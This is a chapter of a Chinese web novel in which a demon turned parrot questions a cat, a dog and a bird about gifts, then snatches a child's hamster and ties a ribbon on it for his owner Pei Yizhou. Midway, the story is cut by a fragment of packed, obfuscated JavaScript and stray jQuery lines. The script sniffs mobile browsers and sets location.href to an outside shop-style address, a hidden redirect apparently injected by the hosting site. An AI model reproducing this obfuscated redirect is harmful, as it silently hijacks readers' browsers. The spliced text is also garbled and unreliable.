他看着赵铭,眼神里带着一股寒意。
“我希望你这是在跟我开玩笑。”
赵铭看着他的眼神忍不住抖了一下,赶紧让门口的小男孩儿走了。
“走吧,走吧,怎么没点眼力劲那。”
他再也不敢吊儿郎当的坐着,在位置上坐的笔直,生怕再干什么事情触了这位大少爷的禁忌。
他放下酒杯,从怀里掏出一个精致的信封递了过去。
“刚才那是开玩笑,这才是正事,看看,邀请函,多少人挤破头都想去的地方,我特意给你弄来的,去玩玩,散散心,总比一个人闷在家里强。”
裴一舟连看都没看一眼,直接拒绝,语气没有任何商量的余地:“不去,没兴趣。”
赵铭也不管,找准机会塞到了他的兜里。
“你就拿回去看看嘛,万一里面有什么你感兴趣的呢?看一下又废不了你多长时间。”
赵铭不死心,又随口聊起了别的,像是不经意一般提起,其实他就是想赶紧叉开话题,省的少爷再记上他一笔。
“对了,你家养的那只鹦鹉怎么样了?”
提到鹦鹉两个字,裴一舟原本平淡无波的眼神微微柔和了一瞬。
那一点柔和很淡,很轻,稍纵即逝,几乎难以捕捉,恐怕就连他自己都没有察觉到。
“挺好的。”
“那就行。”
赵铭点点头,像是想起什么,认真叮嘱:“鹦鹉这种宠物心思细,敏感,你平时多陪陪它,不然很容易抑郁的。”
裴一舟沉默了一瞬,轻轻应了一声,声音低低的很好听。
“好。”
裴一舟没有在家,江与停一个人在家也没闲着,睡醒就起来巡视领地,巡视完累了又继续醒来。
他在屋子里飞过来,飞过去,一会儿落在电视机上,一会儿落在书桌上,一会儿又飞到窗边,看着外面来来往往的人和车,忙的不亦乐乎。
江与停看着看着突然想起来自己好像都没怎么出去过,刚出来还什么都没干就变鹦鹉了,他突然想外出看看,于是就那么决定了,当即飞了出去。
外面天很好,江与停一边飞一边观察着下面的人。
他很奇怪,明明外面有那么好的风景但是每一个人看起来都那么行色匆匆的,也不知道要干嘛去,要不就是专心致志的看手机。
他飞累了就随便找了一颗数栖息了下来。
他站在那里伸了个懒腰,刚打算躺在树杈上眯一觉,结果就隐约传来几句细碎的对话。
声音很轻,带着几分敬畏与小心翼翼,但是江与停确是听明白了。
“你怎么来这里了。”
“这你就不知道了吧,那位最高执行官,他好像耳朵听不见了,最近一直在休养,所以我们最近也可以出来稍微活动一下了。”
“什么?还有这种事?”
“谁说不是,也不知道是哪个伤的他,怎么没有把他弄死,真气人。”
听不见?
这三个字轻飘飘地落进江与停耳朵里,他脑海里第一个冒出来的人,就是裴一舟。
那个安安静静,不爱说话,总是一个人待着的裴一舟。
可下一秒,他又立刻摇了摇小脑袋,把这个荒唐的念头赶走。
不可能。
绝对不可能。
无论是在他的话本里,还是在小妖们的描述里,那都是一个让人闻之色变,青面獠牙,凶神恶煞的样子,怎么可能长得像裴一舟这么好看。
一定只是巧合,对,肯定是巧合。
世界上听不见的人那么多,不可能偏偏就是他,他甩了甩脑袋,不再去想这些乱七八糟的事情。
江与停歇够了又继续在周围转了转,他路过一个小摊,然后就闻到了香喷喷的味道,他肚子微微有些饿,可是鸟又没有钱。
于是江与停就偷偷的落在了摊子前面,趁着摊主不注意,拿着一个包子就跑了。
老板先是愣了一下,然后在后面疯狂狂叫了起来。
“靠,偷包子的鸟,你给我回来。”
周围的人听到这边的动静哈哈的笑了起来。
“看起来真的很好吃啊,连鸟都给引过来了,那我也要买一个尝尝。”
“我也尝尝。”
老板本来还在生气,这一看瞬间气就没了,这还是一个带福气的鸟啊。
江与停飞出一段时间才停了下来,他站在树杈上吃了一口,他觉得一定会比裴一舟家的饭好吃的,但是没想到一口下去小脸立刻皱了起来,语气委屈极了:“好难吃。”
可是他还有些不理解,怎么会那么难吃啊。
他想了想,小小的脑袋瓜总结出一个结论。
也许是裴一舟太穷了,以前吃的东西都太普通,现在吃不了这么好的东西了吧。
算了,他还是回家吃吧,
于是他调整了一下方向,翅膀一振,朝着熟悉的方向飞去,阳光落在他蓬松干净的羽毛上,暖融融的,飞行的风轻轻拂过,带着一点午后的慵懒。
他飞得不快,一边飞,一边慢悠悠地打量着沿途的风景。
就在快要飞到小区楼下的时候,他的目光忽然一顿。
路边的草坪边缘,一个小孩子正安安静静地蹲在那里,低着头,手里拿着一小块零食,正兴致勃勃地逗着脚边的小东西。
江与停下意识地放缓速度,盘旋着往下落了一点,好奇地望过去。
那是一只白白圆圆的小仓鼠。
小小的一团,毛发光滑又柔软,圆滚滚的身子蹲在地上,两只短短的前爪捧着东西啃,耳朵小小的,眼睛黑溜溜的,看上去又软又乖,可爱得让人移不开眼。
江与停停在不远处的树枝上,歪着小脑袋看了一会儿。
小孩子笑得开心,小仓鼠也不怕生,在掌心滚来滚去,一人一鼠,画面格外温馨。
而且那小仓鼠还从旁边捡了一个特别好看的花送给了小孩子,小孩子脸上开心的表情不言而喻。
江与停本来只是觉得新奇,啊,原来宠物是需要给主人送礼物的啊。
这个念头一冒出来,就再也压不下去,在他小小的脑袋里越转越清晰。
对啊,他应该给裴一舟送个礼物,这样才算是一只合合格的宠物。
可是江与停小小的眉头皱了起来。
人类到底喜欢什么东西啊?
他活了这么久,当妖的时候,只喜欢灵气浓郁的地方,当鸟的时候,只喜欢舒服温暖的地方。
可裴一舟是人类,还是一个安安静静,冷冷清清,虽然穷,但是看起来什么都不缺的人类。
他没有当过人啊,
人喜欢什么?
江与停歪着脑袋,认认真真地思考起来。
金子?银子?亮晶晶的石头?
他现在只是一只小鸟,根本弄不到那些东西。
漂亮的羽毛?
他自己身上的毛倒是挺好看,可总不能拔下来送给裴一舟吧,那也太疼了,况且这样下去他很快就秃了。
好吃的?
他刚刚偷过一个包子,已经亲身体验过,那玩意儿难吃得要命,裴一舟估计更不喜欢。
江与停越想越纠结,小小的脑袋都快不够用了。
他左右看了看,目光在周围扫了一圈,忽然落在不远处墙根下,一只正慢悠悠散步的橘猫身上。
那只猫毛色橘黄,体态圆润,正懒洋洋地晒着太阳,一副悠闲自在的模样。
江与停眼睛微微一亮。
有了。
他可以问啊。
猫不也是人类最喜欢养的宠物吗?
猫天天跟人类待在一起,肯定知道人类喜欢什么,肯定知道送什么礼物最讨主人开心。
比起他在这里瞎猜,直接去问一只经验丰富的猫,不是更靠谱吗?
江与停越想越觉得这个主意简直完美。
他不再犹豫,翅膀一收,小小的身子在空中划出一道利落又迅速的弧线,直接俯冲而下,“啪”的一声轻轻落在地上。
他落地的声音很轻,可那只橘猫还是瞬间警觉起来。
猫的本能对鸟类本就带着一丝捕猎的天性。
在橘猫眼里,突然从天而降的小鸟,就是一个送上门来的小玩意儿、小猎物。
它原本慵懒的眼神瞬间一凝,耳朵竖起来,身体微微压低,爪子悄悄收起,摆出一副随时准备扑上来的姿态。
在橘猫看来,这只小鸟小小的,瘦瘦的,看上去毫无威胁,一爪子就能按住。
可它万万没有想到,眼前这只看起来又小又软的鸟,根本不是什么普通宠物鸟。
他是一只妖,还是一只战斗力一点都不弱的妖,虽然变成了一只鸟,但是一点都不差。
下一秒,江与停根本没给这只猫任何反应的机会,小小的身子一闪,速度快得只剩下一道虚影。
橘猫只觉得眼前一花,还没来得及扑出去,就被一股不大却异常利落的力量直接按倒在地。
它“喵呜”一声惨叫,吓得浑身毛都炸了起来,四肢乱蹬,却怎么也挣扎不开。
江与停稳稳地落在猫咪的身上,小爪子轻轻一踩,将对方制得服服帖帖。
他居高临下,小小的身子里透出一股不容拒绝的气势,干净利落地开口,声音清脆又带着一点小小的威严:“回答我一个问题,如果你要给人类送礼物,你会送什么,想好再说。”
橘猫趴在地上,吓得呜呜直哭,尾巴紧紧夹着,一动都不敢动。
长这么大,它从来没有被一只鸟按在地上打过,更没有被一只鸟用这种语气审问过。
恐惧压倒了一切,为了不再挨揍,它只能忍着害怕,哆哆嗦嗦地开口。
“老、老鼠……老鼠就是最好的礼物……”
“我们猫,都是送老鼠给主人的……”
江与停听完,若有所思地歪了歪头。
老鼠?
好像……也不是不能接受。
他松开爪子,让那只吓得魂飞魄散的猫连滚带爬地跑掉,然后转身,又盯上了旁边路过的一条小狗。
狗也是人类常养的宠物,应该也懂。
江与停直接飞了过去,拦在小狗面前。
小狗本来开开心心摇着尾巴走路,突然被一只鸟拦住,吓了一跳,不等它反应,就被这只凶巴巴的小鸟一顿教育,于是乖乖地回答了问题。
“礼物?屎、屎啊,主人会开心的。”
江与停:“……”
他沉默了。
这个礼物,未免也太离谱了一点。
别说送出去了,他光是想一想,都觉得整只鸟不太好。
他不死心,又飞去问了停在电线杆上的一只野鸟。
那只野鸟被他吓得不轻,哆哆嗦嗦地回答:“虫、虫子……好吃的虫子,就是最好的礼物……”
江与停再次沉默。
虫子。
老鼠。
屎。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288240|198471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这就是宠物们眼里,最好的礼物?
他一只堂堂的妖,实在无法理解这些普通动物的审美和逻辑。
这三样东西,不管哪一样,被他叼回去送到裴一舟面前,那个人估计不会觉得开心,只会觉得他这只鸟怕不是有什么毛病。
江与停站在树枝上,小小的脑袋里进行了一场严肃又认真的权衡利弊。
狗说的东西,第一个排除,绝对不行。
野鸟说的虫子,也不行,他自己都嫌恶心。
只剩下猫说的——老鼠。
相对而言,好像也就这个,稍微能勉强接受一点。
而且猫是人类最喜欢、最宠爱的动物,听猫的准没错。
江与停这么一想,瞬间就下定了决心。
就送老鼠。
他目光一转,重新落回不远处,那个小孩子脚边那只白白圆圆。看上去又软又乖的小仓鼠身上。
江与荣眼睛微微一眯。
就是你了。
仓鼠,不也是鼠吗?
而且那小模样长得也好啊,得比那些灰溜溜的老鼠好看多了,又白又软,圆滚滚的,看上去就很讨喜。
裴一舟那么好看,收到这么一只可爱的小仓鼠当礼物,一定会非常非常喜欢。
说不定还会觉得他这只鸟,又聪明、又贴心,又能干。
江与停越想越觉得自己这个主意简直太棒了。
他深吸一口气,小小的身子绷直,做好了准备。
下一秒。
他翅膀猛地一扇,化作一道小小的黑影,飞速旋转俯冲而下,稳稳落在地上。
那个小孩子正全神贯注地逗着仓鼠,完全没有注意到一只鸟悄无声息地靠近。
江与停动作快得惊人。
小爪子一伸,精准地抓住小仓鼠背上软软的皮毛,不等小孩子有任何反应,猛地一扇翅膀,带着小小的仓鼠,直接腾空而起。
小孩子愣了好几秒才反应过来,抬头一看,只看到一只鸟叼着他的小仓鼠,飞得又快又稳,转眼间就飞远了。
江与停才不管身后小孩子有没有哭。
他只知道,自己给裴一舟准备了一份超级棒的礼物。
他飞得稳稳当当,开开心心一路朝着家里飞去。
一回到屋子里,空荡荡的,裴一舟果然还没有回来,江与停也没关,立刻开始忙活起来。
他把小仓鼠轻轻放在客厅的桌子正中央,生怕委屈了这份礼物。
小仓鼠吓得瑟瑟发抖,缩成一团,圆溜溜的眼睛里满是惊恐,完全不明白自己为什么会突然被一只鸟绑架到这么一个陌生又可怕的地方。
江与停看着这只白白软软的小仓鼠,越看越满意。
不行,这么送出去,不够正式。
宠物给主人的礼物,一定要精致,要有仪式感。
他四处看了看,目光落在桌子角落,不知道什么时候掉落的一小段彩色丝带。
应该是之前什么东西包装上留下来的,颜色粉嫩,看上去很漂亮。
江与停飞过去,用小爪子和嘴巴一起努力,笨手笨脚却异常认真地折腾了半天。
终于,他把那根精致的小花丝带,认认真真、整整齐齐地绑在了小仓鼠的身上,还特意打了一个歪歪扭扭,却十分可爱的蝴蝶结。
白白的仓鼠,配上粉嫩的丝带,看上去瞬间就像一份精心准备的礼物。
江与停退后两步,飞到对面的沙发背上,歪着脑袋,认认真真欣赏自己的杰作。
完美。
太完美了。
裴一舟回来看到,一定会非常惊喜,非常开心。
说不定还会伸手摸摸他的羽毛,夸他是一只聪明又懂事的好鸟。
江与停越想越开心,小小的身子都忍不住轻轻晃了晃。
他安安静静地守在一旁,一边等着裴一舟回来,一边时不时低头看一眼桌子上绑着小花瑟瑟发抖的小仓鼠,眼神里满是期待。
屋子里安安静静。
只有小仓鼠细微的发抖声和小鸟轻轻跳动的声音。
空气里,都飘着一股即将送出礼物的紧张与期待。
江与停竖起耳朵,一心一意地等着门外那道熟悉的脚步声,和钥匙转动的声音。
他已经迫不及待想要看到裴一舟推开门,看到这份惊喜礼物时,会是什么样的表情。
应该是会跟那个小孩儿一样惊喜的表情吧,他也一定觉得自己是一只非常棒的宠物鸟,然后给自己好多好多好吃的。
他等啊等,终于门外传来钥匙转动开门的声音。
江与停耳朵一动,立刻兴奋地扇动翅膀,直接朝着门口的方向飞了过去。
“啾啾。”
【你回来了,裴一舟。】
他飞得又快又急,还真像是一只迫不及待迎接主人回家的真正宠物。
裴一舟刚进门,他刚把钥匙随手扔在台子上,低头弯腰换鞋,就看到一团小小的影子朝自己扑过来,稳稳地落在自己的肩膀上。
柔软的羽毛贴着脖颈,轻轻痒痒的,小嘴巴也不知道在说什么一直叽叽喳喳的叫着。
裴一舟嘴角几不可查地弯了一下,那一抹笑意极淡,极浅,快得让人抓不住。
可下一秒,他的目光落在了客厅的桌子上,那一眼直接就惊到了。
只见上面,大咧咧地摆着一只小小的、圆滚滚的、毛茸茸的仓鼠。
仓鼠窝在桌子上瑟瑟发抖,并且身上还绑着一个夸张的大红花。